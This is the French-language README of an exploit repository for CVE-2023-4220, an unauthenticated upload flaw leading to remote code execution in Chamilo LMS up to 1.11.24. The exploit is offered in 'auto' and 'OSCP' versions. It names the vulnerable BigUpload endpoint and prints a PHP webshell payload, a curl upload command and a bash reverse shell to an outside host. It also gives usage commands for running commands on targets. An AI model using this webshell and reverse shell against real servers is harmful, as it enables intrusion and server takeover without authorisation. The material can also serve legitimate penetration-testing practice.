
CVE-2023-4220 — RCE par téléversement de fichier non authentifié dans Chamilo LMS ≤ 1.11.24. Style OSCP et exploitation automatique.
Exploit Python pour CVE-2023-4220, une vulnérabilité de téléversement arbitraire de fichiers sans authentification affectant Chamilo LMS <= 1.11.24.
La vulnérabilité se situe dans le composant BigUpload de Chamilo. Sur les installations vulnérables, le gestionnaire de téléversement permet de téléverser un fichier PHP sans validation appropriée. Comme les fichiers téléversés sont stockés dans un répertoire accessible via le web, le fichier PHP téléversé peut être demandé directement et utilisé comme webshell si l'exécution de PHP est activée.
Ce dépôt contient deux versions de l'exploit :
chamilo_cve_2023_4220_auto.py
chamilo_cve_2023_4220_oscp.py
Les deux scripts téléversent un webshell PHP, vérifient l'exécution de commandes et permettent d'exécuter des commandes via le paramètre GET cmd. La seule différence pratique réside dans la manière dont --shell est géré.
La version auto démarre son propre listener, déclenche le shell inversé et bascule automatiquement sur une session interactive.
La version oscp déclenche la charge utile du shell inversé mais ne démarre pas de listener. Vous devez démarrer votre listener manuellement avant de l'exécuter.
Clonez le dépôt :
git clone https://github.com/SpeatX/ChamiloLMS-cve-2023-4220.git
cd ChamiloLMS-cve-2023-4220
Installez les dépendances :
python3 -m pip install -r requirements.txt
La seule dépendance externe est requests, elle peut donc aussi être installée manuellement :
python3 -m pip install requests
La cible est passée avec -u ou --url :
python3 chamilo_cve_2023_4220_auto.py -u http://target.com --check
Les mêmes options sont disponibles dans les deux scripts :
-u, --url Target base URL
--check Check if the BigUpload files directory is reachable
--upload Upload the webshell and verify command execution
--cmd CMD Execute a single command through the uploaded webshell
--shell LHOST LPORT Trigger a reverse shell
--filename NAME Use a custom filename for the uploaded PHP file
--proxy PROXY Send traffic through a proxy, for example Burp Suite
--timeout SECONDS Set the HTTP timeout
--verify-tls Enable TLS certificate verification
--cleanup Try to remove the uploaded webshell after execution
La version automatique inclut également :
--listen-timeout SEC Time to wait for the reverse shell connection
Vérifiez si le chemin BigUpload attendu est accessible :
python3 chamilo_cve_2023_4220_auto.py -u http://target.com --check
Téléversez le webshell PHP et vérifiez l'exécution de commandes :
python3 chamilo_cve_2023_4220_auto.py -u http://target.com --upload
Exécutez une seule commande :
python3 chamilo_cve_2023_4220_auto.py -u http://target.com --cmd id
Utilisez un nom de fichier personnalisé :
python3 chamilo_cve_2023_4220_auto.py -u http://target.com --cmd whoami --filename shell.php
Envoyez le trafic via Burp Suite :
python3 chamilo_cve_2023_4220_auto.py -u http://target.com --cmd id --proxy http://127.0.0.1:8080
Les exemples ci-dessus utilisent le script auto, mais la même syntaxe peut être utilisée avec chamilo_cve_2023_4220_oscp.py.
L'option --shell existe dans les deux scripts, mais elle se comporte différemment selon la version utilisée.
python3 chamilo_cve_2023_4220_auto.py -u http://target.com --shell 10.10.14.3 4444
Cette version démarre un listener local sur 10.10.14.3:4444, téléverse le webshell, déclenche le shell inversé et ouvre la session interactive automatiquement.
Vous n'avez pas besoin d'exécuter nc manuellement avec cette version.
Démarrez d'abord votre listener manuellement :
sudo nc -nlvp 4444
Puis exécutez l'exploit depuis un autre terminal :
python3 chamilo_cve_2023_4220_oscp.py -u http://target.com --shell 10.10.14.3 4444
Cette version envoie uniquement la charge utile du shell inversé via le webshell téléversé. La connexion est reçue par le listener que vous avez démarré manuellement.
La commande du shell inversé déclenchée par les deux scripts est équivalente à :
bash -c 'bash -i >& /dev/tcp/10.10.14.3/4444 0>&1'
Assurez-vous que la valeur LHOST est accessible depuis la cible. Dans les environnements VPN, il s'agit généralement de l'adresse de votre interface tunnel :
ip -brief addr show tun0
CVE-2023-4220 affecte les versions de Chamilo LMS jusqu'à la version 1.11.24 incluse.
Le gestionnaire de téléversement vulnérable se trouve à :
/main/inc/lib/javascript/bigupload/inc/bigUpload.php
L'action exploitée par l'exploit est :
?action=post-unsupported
Les fichiers téléversés sont généralement accessibles depuis :
/main/inc/lib/javascript/bigupload/files/
L'exploit envoie une requête POST multipart/form-data en utilisant le champ de formulaire attendu par BigUpload :
bigUploadFile
La charge utile PHP téléversée est un petit wrapper de commandes :
<?php echo "__SPX_START__"; system($_GET["cmd"]); echo "__SPX_END__"; ?>
Les commandes sont passées via le paramètre GET cmd :
http://target.com/main/inc/lib/javascript/bigupload/files/shell.php?cmd=id
Les marqueurs autour de la sortie de la commande sont utilisés pour extraire la partie pertinente de la réponse HTTP.
Le téléversement effectué par les scripts est équivalent à :
curl -i -s -X POST \
-F '[email protected];filename=shell.php' \
'http://target.com/main/inc/lib/javascript/bigupload/inc/bigUpload.php?action=post-unsupported'
Après un téléversement réussi, l'exécution de commandes peut être testée avec :
curl 'http://target.com/main/inc/lib/javascript/bigupload/files/shell.php?cmd=id'
--check vérifie uniquement si le répertoire de fichiers BigUpload attendu est accessible. Un résultat positif ne garantit pas que la cible est exploitable.
Une validation complète nécessite de téléverser la charge utile PHP et de confirmer l'exécution de commandes avec --upload ou --cmd.
Si le téléversement fonctionne mais que l'exécution de commandes échoue, l'exécution de PHP peut être désactivée dans le répertoire de téléversement, la cible peut être corrigée, ou une règle côté serveur peut bloquer la requête.
Utilisez --cleanup si vous voulez que le script tente de supprimer le fichier PHP téléversé après l'exécution.